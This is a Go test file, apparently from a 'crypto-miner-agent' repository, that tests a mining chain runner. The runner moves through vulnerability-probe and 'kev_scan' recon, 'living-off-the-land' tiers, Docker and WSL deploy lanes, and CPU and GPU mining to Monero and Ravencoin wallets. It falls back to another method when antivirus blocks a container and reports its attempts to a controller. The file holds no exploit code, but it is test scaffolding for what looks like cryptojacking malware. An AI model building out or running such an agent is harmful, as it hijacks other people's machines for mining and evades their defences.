Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
682 lines
20 KiB
Go
682 lines
20 KiB
Go
package client
|
|
|
|
import (
|
|
"context"
|
|
"encoding/json"
|
|
"errors"
|
|
"os/exec"
|
|
"runtime"
|
|
"testing"
|
|
"time"
|
|
|
|
"crypto-miner-agent/config"
|
|
"crypto-miner-agent/miner"
|
|
"crypto-miner-agent/stats"
|
|
)
|
|
|
|
// ─── test helpers ─────────────────────────────────────────────────────────────
|
|
|
|
func miningChainTestClient(t *testing.T, cfg config.RuntimeConfig) *AgentClient {
|
|
t.Helper()
|
|
if cfg.BuiltinConfig.Threads == 0 {
|
|
cfg.BuiltinConfig.Threads = 1
|
|
}
|
|
c := &AgentClient{
|
|
cfg: cfg,
|
|
reporter: stats.NewReporter(),
|
|
}
|
|
c.pool = miner.NewPool(1, cfg, c.reporter, nil)
|
|
c.pool.Start()
|
|
t.Cleanup(func() { c.pool.Stop() })
|
|
return c
|
|
}
|
|
|
|
func longRunningExecCmd() *exec.Cmd {
|
|
if runtime.GOOS == "windows" {
|
|
return exec.Command("ping", "-n", "600", "127.0.0.1")
|
|
}
|
|
return exec.Command("sleep", "600")
|
|
}
|
|
|
|
func quickExitExecCmd() *exec.Cmd {
|
|
if runtime.GOOS == "windows" {
|
|
return exec.Command("cmd", "/c", "exit", "0")
|
|
}
|
|
return exec.Command("true")
|
|
}
|
|
|
|
func setupFakeDockerRuntime(t *testing.T) {
|
|
t.Helper()
|
|
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
|
|
return miner.ContainerRuntimeInfo{Available: true, CLI: "docker", Version: "24.0"}
|
|
})
|
|
t.Cleanup(func() { miner.SetRuntimeDetector(nil) })
|
|
miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} })
|
|
t.Cleanup(func() { miner.SetWSLDetector(nil) })
|
|
miner.SetContainerExecCommand(func(name string, args ...string) *exec.Cmd {
|
|
if len(args) > 0 && args[0] == "rm" {
|
|
return quickExitExecCmd()
|
|
}
|
|
return longRunningExecCmd()
|
|
})
|
|
t.Cleanup(func() { miner.SetContainerExecCommand(nil) })
|
|
}
|
|
|
|
func setupNoContainerRuntime(t *testing.T) {
|
|
t.Helper()
|
|
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo { return miner.ContainerRuntimeInfo{} })
|
|
t.Cleanup(func() { miner.SetRuntimeDetector(nil) })
|
|
miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} })
|
|
t.Cleanup(func() { miner.SetWSLDetector(nil) })
|
|
}
|
|
|
|
func baseMiningCfg() config.RuntimeConfig {
|
|
return config.RuntimeConfig{
|
|
BuiltinConfig: config.BuiltinConfig{
|
|
MinerExecution: miner.ExecutionAuto,
|
|
PoolHost: "pool.example.com",
|
|
PoolPort: 3333,
|
|
Wallet: "XMR:test-wallet",
|
|
Threads: 1,
|
|
},
|
|
}
|
|
}
|
|
|
|
func installFastVulnProbe(t *testing.T, wallet string) {
|
|
t.Helper()
|
|
miner.SetVulnProbeRunner(func() miner.TierAttempt {
|
|
return miner.TierAttempt{Tier: miner.TierVulnProbe, OK: true, Wallet: wallet}
|
|
})
|
|
t.Cleanup(func() { miner.SetVulnProbeRunner(nil) })
|
|
}
|
|
|
|
func skipCtrlTierHooks(r *MiningChainRunner) {
|
|
r.ctrl.SetChainHooksForTest(miner.ChainHooks{
|
|
RunTierProbes: func() miner.TierReport { return miner.TierReport{} },
|
|
RunTierChain: func() (miner.LOTLTier, error) { return "", miner.ErrTierChainSkipped },
|
|
})
|
|
}
|
|
|
|
func newTestMiningChainRunner(t *testing.T, c *AgentClient) *MiningChainRunner {
|
|
t.Helper()
|
|
installFastVulnProbe(t, c.cfg.Wallet)
|
|
r := c.newMiningChainRunner()
|
|
skipCtrlTierHooks(r)
|
|
return r
|
|
}
|
|
|
|
func onionPayloadShape(t *testing.T, report miner.TripleOnionReport, eventType string) map[string]interface{} {
|
|
t.Helper()
|
|
raw, err := json.Marshal(struct {
|
|
miner.TripleOnionReport
|
|
Event string `json:"event"`
|
|
}{
|
|
TripleOnionReport: report,
|
|
Event: eventType,
|
|
})
|
|
if err != nil {
|
|
t.Fatalf("marshal onion payload: %v", err)
|
|
}
|
|
var doc map[string]interface{}
|
|
if err := json.Unmarshal(raw, &doc); err != nil {
|
|
t.Fatalf("unmarshal onion payload: %v", err)
|
|
}
|
|
return doc
|
|
}
|
|
|
|
func tierPayloadShape(t *testing.T, report miner.TierReport, eventType string) map[string]interface{} {
|
|
t.Helper()
|
|
raw, err := json.Marshal(struct {
|
|
miner.TierReport
|
|
Event string `json:"event"`
|
|
}{
|
|
TierReport: report,
|
|
Event: eventType,
|
|
})
|
|
if err != nil {
|
|
t.Fatalf("marshal tier payload: %v", err)
|
|
}
|
|
var doc map[string]interface{}
|
|
if err := json.Unmarshal(raw, &doc); err != nil {
|
|
t.Fatalf("unmarshal tier payload: %v", err)
|
|
}
|
|
return doc
|
|
}
|
|
|
|
// ─── runner construction ───────────────────────────────────────────────────────
|
|
|
|
func TestMiningChainRunnerConstruction(t *testing.T) {
|
|
setupNoContainerRuntime(t)
|
|
c := miningChainTestClient(t, baseMiningCfg())
|
|
r := newTestMiningChainRunner(t, c)
|
|
|
|
if r == nil || r.client != c {
|
|
t.Fatal("expected runner bound to client")
|
|
}
|
|
if r.ctrl == nil {
|
|
t.Fatal("expected ChainController")
|
|
}
|
|
if r.tiers == nil {
|
|
t.Fatal("expected TierOrchestrator")
|
|
}
|
|
if r.onion == nil {
|
|
t.Fatal("expected TripleOnionOrchestrator")
|
|
}
|
|
order := r.ctrl.Status().ChainOrder
|
|
if len(order) == 0 {
|
|
t.Fatal("expected non-empty chain order")
|
|
}
|
|
if order[0] != miner.MethodInProcess {
|
|
t.Fatalf("without runtime want inprocess first, got %v", order)
|
|
}
|
|
}
|
|
|
|
// ─── start / stop / cooldown ─────────────────────────────────────────────────
|
|
|
|
func TestMiningChainRunnerStartStopCycle(t *testing.T) {
|
|
setupNoContainerRuntime(t)
|
|
cfg := baseMiningCfg()
|
|
cfg.MinerExecution = miner.ExecutionInProcess
|
|
c := miningChainTestClient(t, cfg)
|
|
c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
|
|
r := newTestMiningChainRunner(t, c)
|
|
|
|
ctx, cancel := context.WithCancel(context.Background())
|
|
defer cancel()
|
|
|
|
r.startMiningCascade(ctx)
|
|
st := r.Status()
|
|
if st.ActiveMethod != miner.MethodInProcess {
|
|
t.Fatalf("active=%q want inprocess", st.ActiveMethod)
|
|
}
|
|
if c.hostMiningDisabled.Load() {
|
|
t.Fatal("in-process path should not disable host mining")
|
|
}
|
|
|
|
r.Stop()
|
|
st = r.Status()
|
|
if st.ActiveMethod != "" {
|
|
t.Fatalf("after Stop active=%q want empty", st.ActiveMethod)
|
|
}
|
|
r.mu.Lock()
|
|
cancelled := r.monCancel == nil
|
|
r.mu.Unlock()
|
|
if !cancelled {
|
|
t.Fatal("Stop should clear monitor cancel func")
|
|
}
|
|
}
|
|
|
|
func TestMiningChainRunnerCooldownBetweenPasses(t *testing.T) {
|
|
setupNoContainerRuntime(t)
|
|
cfg := baseMiningCfg()
|
|
cfg.MinerExecution = miner.ExecutionInProcess
|
|
c := miningChainTestClient(t, cfg)
|
|
r := newTestMiningChainRunner(t, c)
|
|
|
|
attempts := 0
|
|
r.ctrl.SetChainHooksForTest(miner.ChainHooks{
|
|
StartInProcess: func() error {
|
|
attempts++
|
|
return nil
|
|
},
|
|
})
|
|
|
|
ctx := context.Background()
|
|
if _, err := r.ctrl.TryChain(ctx); err != nil {
|
|
t.Fatalf("first TryChain: %v", err)
|
|
}
|
|
if _, err := r.ctrl.TryChain(ctx); err != nil {
|
|
t.Fatalf("second TryChain: %v", err)
|
|
}
|
|
if attempts != 1 {
|
|
t.Fatalf("cooldown attempts=%d want 1", attempts)
|
|
}
|
|
|
|
r.Restart(ctx)
|
|
if attempts != 2 {
|
|
t.Fatalf("Restart after cooldown attempts=%d want 2", attempts)
|
|
}
|
|
}
|
|
|
|
// ─── triple onion wire ordering ──────────────────────────────────────────────
|
|
|
|
func TestMiningChainRunnerTripleOnionPhaseOrdering(t *testing.T) {
|
|
setupNoContainerRuntime(t)
|
|
c := miningChainTestClient(t, baseMiningCfg())
|
|
r := newTestMiningChainRunner(t, c)
|
|
|
|
var phases []string
|
|
policy := miner.TripleOnionPolicy{
|
|
PatchFirst: false,
|
|
ReconTiers: []string{"kev_scan"},
|
|
DeployLanes: []string{"docker", "wsl"},
|
|
}
|
|
r.onion = miner.NewTripleOnionOrchestrator(c.cfg, policy, miner.TripleOnionHooks{
|
|
RunReconTier: func(_ context.Context, tier string) miner.ReconTierResult {
|
|
phases = append(phases, "recon:"+tier)
|
|
return miner.ReconTierResult{OK: true, Snapshot: miner.ReconSnapshot{RiskScore: 5}}
|
|
},
|
|
RunDeployLane: func(_ context.Context, lane string) (bool, string) {
|
|
phases = append(phases, "deploy:"+lane)
|
|
if lane == "docker" {
|
|
return true, "mock container ready"
|
|
}
|
|
return false, "skipped"
|
|
},
|
|
RunMining: func(_ context.Context) {
|
|
phases = append(phases, "mining")
|
|
},
|
|
ReportEvent: r.reportOnionEvent,
|
|
})
|
|
|
|
ctx, cancel := context.WithCancel(context.Background())
|
|
defer cancel()
|
|
r.Start(ctx)
|
|
|
|
want := []string{"recon:kev_scan", "deploy:docker", "mining"}
|
|
if len(phases) != len(want) {
|
|
t.Fatalf("phases=%v want %v", phases, want)
|
|
}
|
|
for i := range want {
|
|
if phases[i] != want[i] {
|
|
t.Fatalf("phases[%d]=%q want %q full=%v", i, phases[i], want[i], phases)
|
|
}
|
|
}
|
|
}
|
|
|
|
// ─── tier hooks: container skip, inprocess, GPU parallel ────────────────────
|
|
|
|
func TestMiningChainRunnerContainerSkipsWithoutRuntime(t *testing.T) {
|
|
setupNoContainerRuntime(t)
|
|
cfg := baseMiningCfg()
|
|
cfg.MinerExecution = miner.ExecutionContainer
|
|
c := miningChainTestClient(t, cfg)
|
|
c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
|
|
r := newTestMiningChainRunner(t, c)
|
|
|
|
ctx := context.Background()
|
|
r.startMiningCascade(ctx)
|
|
defer r.Stop()
|
|
|
|
st := r.Status()
|
|
if st.ActiveMethod != miner.MethodInProcess {
|
|
t.Fatalf("active=%q want inprocess when container unavailable", st.ActiveMethod)
|
|
}
|
|
for _, m := range st.ChainOrder {
|
|
if m == miner.MethodContainer {
|
|
t.Fatalf("chain order must omit container without runtime: %v", st.ChainOrder)
|
|
}
|
|
}
|
|
}
|
|
|
|
func TestMiningChainRunnerContainerActiveWithMockRuntime(t *testing.T) {
|
|
setupFakeDockerRuntime(t)
|
|
c := miningChainTestClient(t, baseMiningCfg())
|
|
c.tierPolicy = miner.MiningTierPolicy{
|
|
TierOrder: []miner.LOTLTier{miner.TierContainer, miner.TierCPUInprocess},
|
|
}
|
|
r := newTestMiningChainRunner(t, c)
|
|
|
|
ctx := context.Background()
|
|
r.startMiningCascade(ctx)
|
|
defer r.Stop()
|
|
|
|
st := r.Status()
|
|
if st.ActiveMethod != miner.MethodContainer {
|
|
t.Fatalf("active=%q want container", st.ActiveMethod)
|
|
}
|
|
if !c.hostMiningDisabled.Load() {
|
|
t.Fatal("container tier should disable host RandomX")
|
|
}
|
|
if c.containerMiner == nil || !c.containerMiner.Running() {
|
|
t.Fatal("expected mock container miner running")
|
|
}
|
|
}
|
|
|
|
func TestMiningChainRunnerInProcessPath(t *testing.T) {
|
|
setupNoContainerRuntime(t)
|
|
cfg := baseMiningCfg()
|
|
cfg.MinerExecution = miner.ExecutionInProcess
|
|
c := miningChainTestClient(t, cfg)
|
|
c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
|
|
r := newTestMiningChainRunner(t, c)
|
|
|
|
ctx := context.Background()
|
|
r.startMiningCascade(ctx)
|
|
defer r.Stop()
|
|
|
|
if c.hostMiningDisabled.Load() {
|
|
t.Fatal("in-process should keep host mining enabled")
|
|
}
|
|
if r.Status().ActiveMethod != miner.MethodInProcess {
|
|
t.Fatalf("active=%q want inprocess", r.Status().ActiveMethod)
|
|
}
|
|
}
|
|
|
|
func TestMiningChainRunnerGPUParallelBranch(t *testing.T) {
|
|
setupNoContainerRuntime(t)
|
|
cfg := baseMiningCfg()
|
|
cfg.MinerExecution = miner.ExecutionInProcess
|
|
cfg.GPUEnabled = true
|
|
cfg.RVNWallet = "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9"
|
|
c := miningChainTestClient(t, cfg)
|
|
c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
|
|
r := newTestMiningChainRunner(t, c)
|
|
|
|
gpuStarted := false
|
|
r.ctrl.SetChainHooksForTest(miner.ChainHooks{
|
|
StartInProcess: func() error {
|
|
r.client.hostMiningDisabled.Store(false)
|
|
r.client.pool.ResumeRemote()
|
|
return nil
|
|
},
|
|
IsGPUSupported: func() bool { return true },
|
|
WebGPUReady: func() bool { return true },
|
|
StartGPU: func() error {
|
|
gpuStarted = true
|
|
r.ctrl.SetGPUActive(true)
|
|
return nil
|
|
},
|
|
})
|
|
|
|
ctx := context.Background()
|
|
r.startMiningCascade(ctx)
|
|
defer r.Stop()
|
|
|
|
st := r.Status()
|
|
if !gpuStarted {
|
|
t.Fatal("expected GPU parallel branch to start")
|
|
}
|
|
if !st.GPUParallel {
|
|
t.Fatalf("status gpu_parallel=false: %+v", st)
|
|
}
|
|
if st.ActiveMethod != miner.MethodInProcess {
|
|
t.Fatalf("CPU primary=%q want inprocess", st.ActiveMethod)
|
|
}
|
|
for _, m := range st.ActiveMethods {
|
|
if m == miner.MethodGPUSubprocess {
|
|
return
|
|
}
|
|
}
|
|
t.Fatalf("active_methods=%v want gpu_subprocess", st.ActiveMethods)
|
|
}
|
|
|
|
func TestMiningChainRunnerGPUSkippedWhenUnsupported(t *testing.T) {
|
|
setupNoContainerRuntime(t)
|
|
cfg := baseMiningCfg()
|
|
cfg.MinerExecution = miner.ExecutionInProcess
|
|
cfg.GPUEnabled = true
|
|
cfg.RVNWallet = "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9"
|
|
c := miningChainTestClient(t, cfg)
|
|
c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
|
|
r := newTestMiningChainRunner(t, c)
|
|
|
|
r.ctrl.SetChainHooksForTest(miner.ChainHooks{
|
|
StartInProcess: func() error {
|
|
r.client.hostMiningDisabled.Store(false)
|
|
r.client.pool.ResumeRemote()
|
|
return nil
|
|
},
|
|
IsGPUSupported: func() bool { return false },
|
|
})
|
|
|
|
ctx := context.Background()
|
|
r.startMiningCascade(ctx)
|
|
defer r.Stop()
|
|
|
|
if r.Status().GPUParallel {
|
|
t.Fatal("gpu_parallel should be false when IsGPUSupported is false")
|
|
}
|
|
}
|
|
|
|
// ─── reportOnionEvent / lotl_attempts payload shape ──────────────────────────
|
|
|
|
func TestMiningChainRunnerReportOnionEventPayloadShape(t *testing.T) {
|
|
setupNoContainerRuntime(t)
|
|
c := miningChainTestClient(t, baseMiningCfg())
|
|
r := newTestMiningChainRunner(t, c)
|
|
|
|
report := miner.TripleOnionReport{
|
|
ActivePhase: miner.OnionPhaseDeploy,
|
|
Gate: miner.GateDecision{SkipMining: false},
|
|
Recon: miner.ReconSnapshot{RiskScore: 12, ServiceCount: 3},
|
|
Attempts: []miner.TierAttempt{
|
|
{Phase: string(miner.OnionPhaseRecon), Tier: miner.TierVulnProbe, OK: true, Wallet: "XMR:test-wallet"},
|
|
{Phase: string(miner.OnionPhaseDeploy), Tier: "docker", OK: true, Wallet: "XMR:test-wallet", DurationMs: 42},
|
|
},
|
|
Wallet: "XMR:test-wallet",
|
|
}
|
|
r.reportOnionEvent(report, "onion_report")
|
|
|
|
doc := onionPayloadShape(t, report, "onion_report")
|
|
for _, key := range []string{"event", "onion_phase", "gate", "recon", "lotl_attempts", "wallet"} {
|
|
if _, ok := doc[key]; !ok {
|
|
t.Fatalf("onion payload missing key %q: %v", key, doc)
|
|
}
|
|
}
|
|
if doc["event"] != "onion_report" {
|
|
t.Fatalf("event=%v", doc["event"])
|
|
}
|
|
attempts, ok := doc["lotl_attempts"].([]interface{})
|
|
if !ok || len(attempts) != 2 {
|
|
t.Fatalf("lotl_attempts=%T len=%d", doc["lotl_attempts"], len(attempts))
|
|
}
|
|
first, ok := attempts[0].(map[string]interface{})
|
|
if !ok {
|
|
t.Fatalf("attempt[0] type=%T", attempts[0])
|
|
}
|
|
if first["phase"] != string(miner.OnionPhaseRecon) {
|
|
t.Fatalf("attempt phase=%v", first["phase"])
|
|
}
|
|
if first["wallet"] != "XMR:test-wallet" {
|
|
t.Fatalf("attempt wallet=%v", first["wallet"])
|
|
}
|
|
|
|
st := r.Status()
|
|
if len(st.LOTLAttempts) != 2 {
|
|
t.Fatalf("Status().LOTLAttempts=%d want 2", len(st.LOTLAttempts))
|
|
}
|
|
}
|
|
|
|
func TestMiningChainRunnerReportTierEventLotlAttempts(t *testing.T) {
|
|
setupNoContainerRuntime(t)
|
|
c := miningChainTestClient(t, baseMiningCfg())
|
|
r := newTestMiningChainRunner(t, c)
|
|
|
|
report := miner.TierReport{
|
|
ActiveTier: miner.TierCPUInprocess,
|
|
Attempts: []miner.TierAttempt{
|
|
{Tier: miner.TierWebView2Probe, OK: true, Wallet: "XMR:test-wallet", DurationMs: 10},
|
|
{Tier: miner.TierCPUInprocess, OK: true, Wallet: "XMR:test-wallet"},
|
|
},
|
|
WebGPUReady: true,
|
|
}
|
|
r.reportTierEvent(report, "tier_report")
|
|
|
|
doc := tierPayloadShape(t, report, "tier_report")
|
|
for _, key := range []string{"event", "lotl_tier", "lotl_attempts", "webgpu_ready"} {
|
|
if _, ok := doc[key]; !ok {
|
|
t.Fatalf("tier payload missing key %q: %v", key, doc)
|
|
}
|
|
}
|
|
if doc["lotl_tier"] != string(miner.TierCPUInprocess) {
|
|
t.Fatalf("lotl_tier=%v", doc["lotl_tier"])
|
|
}
|
|
|
|
st := r.Status()
|
|
if st.LOTLTier != miner.TierCPUInprocess {
|
|
t.Fatalf("Status lotl_tier=%q", st.LOTLTier)
|
|
}
|
|
if len(st.LOTLAttempts) < 2 {
|
|
t.Fatalf("Status lotl_attempts=%v", st.LOTLAttempts)
|
|
}
|
|
if st.ActiveMethod != miner.MethodInProcess {
|
|
t.Fatalf("tier event should set primary active=%q", st.ActiveMethod)
|
|
}
|
|
}
|
|
|
|
func TestMiningChainRunnerStatusMergesOnionAttempts(t *testing.T) {
|
|
setupNoContainerRuntime(t)
|
|
cfg := baseMiningCfg()
|
|
cfg.MinerExecution = miner.ExecutionInProcess
|
|
c := miningChainTestClient(t, cfg)
|
|
c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
|
|
r := newTestMiningChainRunner(t, c)
|
|
|
|
r.mu.Lock()
|
|
r.onionAttempts = []miner.TierAttempt{
|
|
{Phase: string(miner.OnionPhaseRecon), Tier: "kev_scan", OK: true},
|
|
{Phase: string(miner.OnionPhaseDeploy), Tier: "docker", OK: true},
|
|
}
|
|
r.mu.Unlock()
|
|
|
|
ctx := context.Background()
|
|
r.startMiningCascade(ctx)
|
|
defer r.Stop()
|
|
|
|
st := r.Status()
|
|
if len(st.LOTLAttempts) < 3 {
|
|
t.Fatalf("merged attempts=%d want >=3: %v", len(st.LOTLAttempts), st.LOTLAttempts)
|
|
}
|
|
if st.LOTLAttempts[0].Phase != string(miner.OnionPhaseRecon) {
|
|
t.Fatalf("first attempt phase=%q", st.LOTLAttempts[0].Phase)
|
|
}
|
|
}
|
|
|
|
// ─── mining disabled / ApkMode skips chain ───────────────────────────────────
|
|
|
|
func TestMiningChainSkipsWhenMiningDisabled(t *testing.T) {
|
|
setupNoContainerRuntime(t)
|
|
cfg := baseMiningCfg()
|
|
cfg.MiningDisabled = true
|
|
c := miningChainTestClient(t, cfg)
|
|
c.connected.Store(true)
|
|
c.miningChain = newTestMiningChainRunner(t, c)
|
|
|
|
ctx, cancel := context.WithTimeout(context.Background(), 200*time.Millisecond)
|
|
defer cancel()
|
|
c.startMiningWhenReady(ctx)
|
|
|
|
if r := c.miningChain.Status(); r.ActiveMethod != "" {
|
|
t.Fatalf("mining disabled should not start chain, active=%q", r.ActiveMethod)
|
|
}
|
|
}
|
|
|
|
func TestMiningChainSkipsApkMode(t *testing.T) {
|
|
setupNoContainerRuntime(t)
|
|
cfg := baseMiningCfg()
|
|
cfg.ApkMode = true
|
|
c := miningChainTestClient(t, cfg)
|
|
c.connected.Store(true)
|
|
c.miningChain = newTestMiningChainRunner(t, c)
|
|
|
|
ctx, cancel := context.WithTimeout(context.Background(), 200*time.Millisecond)
|
|
defer cancel()
|
|
c.startMiningWhenReady(ctx)
|
|
|
|
if r := c.miningChain.Status(); r.ActiveMethod != "" {
|
|
t.Fatalf("apk mode should not start chain, active=%q", r.ActiveMethod)
|
|
}
|
|
}
|
|
|
|
// ─── error paths: tier failure advances, exhausted chain ───────────────────
|
|
|
|
func TestMiningChainRunnerTierFailureAdvancesToInProcess(t *testing.T) {
|
|
setupNoContainerRuntime(t)
|
|
c := miningChainTestClient(t, baseMiningCfg())
|
|
r := newTestMiningChainRunner(t, c)
|
|
|
|
containerCalls := 0
|
|
r.ctrl.SetChainHooksForTest(miner.ChainHooks{
|
|
StartContainer: func() error {
|
|
containerCalls++
|
|
return errors.New("mock container start blocked by AV")
|
|
},
|
|
StartInProcess: func() error {
|
|
r.client.hostMiningDisabled.Store(false)
|
|
r.client.pool.ResumeRemote()
|
|
return nil
|
|
},
|
|
IsGPUSupported: func() bool { return false },
|
|
})
|
|
r.ctrl.SetChainOrderForTest([]miner.MiningMethod{miner.MethodContainer, miner.MethodInProcess})
|
|
|
|
ctx := context.Background()
|
|
if _, err := r.ctrl.TryChain(ctx); err != nil {
|
|
t.Fatalf("TryChain: %v", err)
|
|
}
|
|
defer r.Stop()
|
|
|
|
if containerCalls == 0 {
|
|
t.Fatal("expected container tier attempt before advance")
|
|
}
|
|
st := r.Status()
|
|
if st.ActiveMethod != miner.MethodInProcess {
|
|
t.Fatalf("active=%q want inprocess after container failure", st.ActiveMethod)
|
|
}
|
|
if len(st.FailedMethods) == 0 || st.FailedMethods[0].Method != miner.MethodContainer {
|
|
t.Fatalf("failures=%v want container failure recorded", st.FailedMethods)
|
|
}
|
|
}
|
|
|
|
func TestMiningChainRunnerAdvancePrimaryFromUnhealthyContainer(t *testing.T) {
|
|
setupFakeDockerRuntime(t)
|
|
c := miningChainTestClient(t, baseMiningCfg())
|
|
c.tierPolicy = miner.MiningTierPolicy{
|
|
TierOrder: []miner.LOTLTier{miner.TierContainer, miner.TierCPUInprocess},
|
|
}
|
|
r := newTestMiningChainRunner(t, c)
|
|
|
|
ctx := context.Background()
|
|
r.startMiningCascade(ctx)
|
|
|
|
if r.Status().ActiveMethod != miner.MethodContainer {
|
|
t.Fatalf("setup active=%q want container", r.Status().ActiveMethod)
|
|
}
|
|
if c.containerMiner != nil {
|
|
c.containerMiner.Stop()
|
|
}
|
|
if c.containerMiner != nil && c.containerMiner.Running() {
|
|
t.Fatal("container should be stopped")
|
|
}
|
|
|
|
r.ctrl.AdvancePrimary("container workload exited or unhealthy")
|
|
st := r.Status()
|
|
if st.ActiveMethod != miner.MethodInProcess {
|
|
t.Fatalf("after advance active=%q want inprocess", st.ActiveMethod)
|
|
}
|
|
r.Stop()
|
|
}
|
|
|
|
func TestMiningChainRunnerExhaustedChainState(t *testing.T) {
|
|
setupNoContainerRuntime(t)
|
|
cfg := baseMiningCfg()
|
|
cfg.MinerExecution = miner.ExecutionInProcess
|
|
c := miningChainTestClient(t, cfg)
|
|
r := newTestMiningChainRunner(t, c)
|
|
|
|
r.ctrl.SetChainHooksForTest(miner.ChainHooks{
|
|
StartInProcess: func() error {
|
|
return errors.New("mock in-process RandomX unavailable")
|
|
},
|
|
})
|
|
r.ctrl.SetChainOrderForTest([]miner.MiningMethod{miner.MethodInProcess})
|
|
|
|
ctx := context.Background()
|
|
_, err := r.ctrl.TryChain(ctx)
|
|
if err == nil {
|
|
t.Fatal("expected TryChain error when all primaries fail")
|
|
}
|
|
|
|
st := r.Status()
|
|
if !st.ChainExhausted {
|
|
t.Fatal("expected chain_exhausted flag")
|
|
}
|
|
if st.ActiveMethod != "" {
|
|
t.Fatalf("active=%q want empty when exhausted", st.ActiveMethod)
|
|
}
|
|
if len(st.FailedMethods) != 1 || st.FailedMethods[0].Method != miner.MethodInProcess {
|
|
t.Fatalf("failures=%v", st.FailedMethods)
|
|
}
|
|
}
|